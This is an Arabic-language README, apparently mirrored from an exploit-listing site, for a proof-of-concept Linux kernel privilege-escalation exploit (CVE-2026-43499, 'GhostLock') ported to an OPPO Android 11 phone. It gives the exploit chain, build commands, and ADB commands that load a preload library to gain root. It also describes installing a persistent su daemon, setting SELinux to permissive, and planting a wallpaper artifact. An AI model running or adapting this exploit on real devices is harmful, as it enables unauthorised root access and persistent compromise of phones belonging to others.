## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YIJIACLOUD-GHOSTLOCK-OPPO-PCKM00
# GhostLock — OPPO PCKM00 (4.14.180) PoC
**CVE-2026-43499 (GhostLock)** — استغلال تصعيد صلاحيات محلي (LPE) من نوع use-after-free في آلية `futex` الخاصة بأولوية الميراث في نواة لينكس، تم نقله إلى جهاز **OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+)**.
> **إخلاء مسؤولية / 免责声明** هذا المشروع مخصص **لأغراض البحث الأمني المصرح به والتعليم فقط**. لا تستخدمه على أي جهاز لا تملكه أو غير مصرح لك باختباره صراحةً. قد يؤدي تشغيل الاستغلال إلى انهيار النواة. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر.
>
> 本项目仅用于**授权的安全研究与教育目的** 。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
* * *
## 1\. الثغرة
CVE-2026-43499 (GhostLock) هي ثغرة use-after-free في كود أولوية الميراث الخاص بـ futex في نواة لينكس. الخلل يكمن في إساءة استخدام `remove_waiter()` في مسار التراجع عن القفل الوكيل في `rt_mutex_start_proxy_lock()`. يتم إعادة تفسير `rt_mutex_waiter` المحرر (المخصص على مكدس النواة) كـ `fd_set` يتحكم فيه المهاجم ويتم نسخه بواسطة `pselect()`، مما ينتج عنه بدائية كتابة عشوائية.
**النطاق المتأثر:** لينكس 4.x–6.x (أُدخلت عام 2011). سلسلة 4.14 متأثرة بالكامل. راجع `report.md` للتحليل الكامل وإزاحات الرموز الموثقة.
### سلسلة الاستغلال
root@kitploit:~
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
يعمل الـ PoC بالكامل في مساحة المستخدم عبر `LD_PRELOAD` — لا حاجة لإعادة تشغيل الجهاز (إلا إذا انهارت النواة).
* * *
## 2\. الهدف
> النقل إلى أجهزة 4.14 أخرى: انسخ `exploit/targets/oppo-pckm00/target.h` وأعد توليد إزاحات الرموز من صورة النواة الخاصة بك (راجع `analysis/`).
* * *
## 3\. هيكل المستودع
root@kitploit:~
.
├── report.md # تحليل الثغرة الكامل والإزاحات الموثقة
├── exploit/
│ ├── Makefile # بناء preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # نقطة دخول LD_PRELOAD + تسجيل قرص إجباري + su
│ │ ├── main.c # التنسيق (خيوط waiter/owner/consumer)
│ │ ├── slide.c # تسريب KASLR (boot_id / nfulnl loggers)
│ │ ├── fops.c # استبدال ashmem_fops + بدائية configfs
│ │ ├── pipe.c # بدائية pipe_buffer physrw
│ │ ├── root.c # اجتياز المهام + تصحيح cred + seccomp/selinux
│ │ ├── util.c # kernelsnitch, إعداد صفحة skb, قراءة/كتابة النواة
│ │ ├── su_daemon.c # خادم su مدمج (بديل جاهز)
│ │ ├── su_blob.S # .incbin لـ su_daemon
│ │ └── wallpaper_blob.S # .incbin لحمولة الخلفية
│ ├── targets/oppo-pckm00/target.h # إزاحات رموز/هياكل 4.14.180
│ └── assets/wallpaper.webp # حمولة الخلفية المدمجة
├── analysis/ # نصوص استخراج صورة النواة / kallsyms
└── LICENSE # Apache-2.0 (نفس ترخيص GhostLock الأصلي)
* * *
## 4\. البناء
يتطلب Android NDK r29 (`aarch64-linux-android30-clang`).
### Windows NDK
root@kitploit:~
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
### WSL (موصى به)
root@kitploit:~
# ضع NDK في /opt/ndk/android-ndk-r29 (سلسلة أدوات linux-x86_64)
cd exploit
make wsl
# أو مباشرة:
bash ../analysis/build_preload.sh
الناتج: `exploit/preload.so` (مكتبة ELF مشتركة aarch64 64-بت).
يقوم البناء أيضًا بترجمة `su_daemon.c` إلى ثنائي PIE ودمجه (بالإضافة إلى الخلفية) في ملف `.so` عبر كتل `.S`.
* * *
## 5\. الاستخدام (ADB)
### 5.1 دفع الحمولة
root@kitploit:~
# ثنائي فقط (يعمل من أصل إصدار أو بناء محلي)
adb push preload.so /data/local/tmp/preload.so
# أو مع هيكل المستودع
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
### 5.2 التشغيل
يتم تحميل ملف `.so` في عملية `sh` عبر `LD_PRELOAD`؛ يقوم المُنشئ بتشغيل سلسلة الاستغلال بالكامل والإبلاغ عن النتيجة:
root@kitploit:~
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
عند النجاح، يُبلغ الصدفة:
root@kitploit:~
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
العملية الحالية (وعملياتها الفرعية) أصبحت الآن بصلاحيات root. يتم تثبيت خادم `su` في `/apex/com.android.virt/bin/su` (مع تراجع إلى `/data/local/tmp/su`) ويتم تطبيق خلفية مدمجة كأثر استمرارية/تحقق.
### 5.3 التحقق
root@kitploit:~
# من صدفة جديدة بعد التشغيل
adb shell su -c 'id'
# أو احصل على جلسة صدفة root (عميل su تفاعلي)
adb shell /data/local/tmp/su
# تحقق من تبديل SELinux إلى permissive (إذا تم الوصول إلى مسار selinux)
adb shell getenforce
### 5.4 تسجيل قرص إجباري في الوقت الفعلي
تُكتب جميع تشخيصات `pr_*` أيضًا إلى **`/sdcard/Download/log_<timestamp>.txt`** (مع تراجع إلى `/data/local/tmp/log_<timestamp>.txt`)، مع `O_SYNC` \+ `fsync()` في كل سطر بحيث تنجو السجلات من انهيار النواة / إعادة التشغيل:
root@kitploit:~
adb pull /sdcard/Download/log_*.txt
# أو إذا لم يكن /sdcard مثبتًا مبكرًا
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
يُظهر السجل كل مرحلة (انزلاق KASLR، استبدال fops، pipe physrw، تصحيح cred) والسطر النهائي `uid_after` / `ROOT OK` — أرفقه عند الإبلاغ عن مشكلة.
### 5.5 التنظيف
root@kitploit:~
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # إذا تم تعديل حالة SELinux/cred أو الخلفية
> **ملاحظة:** قد يؤدي تشغيل الاستغلال إلى انهيار النواة. إذا انقطع اتصال `adb`، انتظر إعادة تشغيل الجهاز ثم اسحب `/sdcard/Download/log_*.txt` — تسجيل `O_SYNC`/`fsync` الإجباري هو بالضبط ما ينجو من الانهيار.
* * *
## 6\. ملاحظات وقيود
* **KASLR** : يقوم الـ PoC بتسريب الانزلاق عبر مسار مسجل `boot_id`/nfulnl (`slide.c`) بالإضافة إلى تمرير تحقق ashmem_fops (`fops.c`).
* **الاختلافات بين 4.14 و 6.x المعالجة** في هذا النقل:
* configfs يستخدم `.read`/`.write` القديمين (بدون `read_iter`/`write_iter`)،
* `ashmem_fops` لا يحتوي على `show_fdinfo`،
* `generic_file_splice_read` يحل محل `copy_splice_read`،
* `selinux_enforcing` يقع داخل `struct selinux_state`،
* تخطيطات / / في 4.14.
* * *
## 7\. الاعتمادات
* **NebuSec** — البحث الأصلي لـ GhostLock وإطار الاستغلال (`IonStack/CVE-2026-43499`)، Apache-2.0. https://github.com/NebuSec/CyberMeowfia
* KernelSnitch (قناة جانبية لتجزئة futex) مدمج بموجب شروطه الأصلية.
## الترخيص
Apache-2.0 — راجع LICENSE.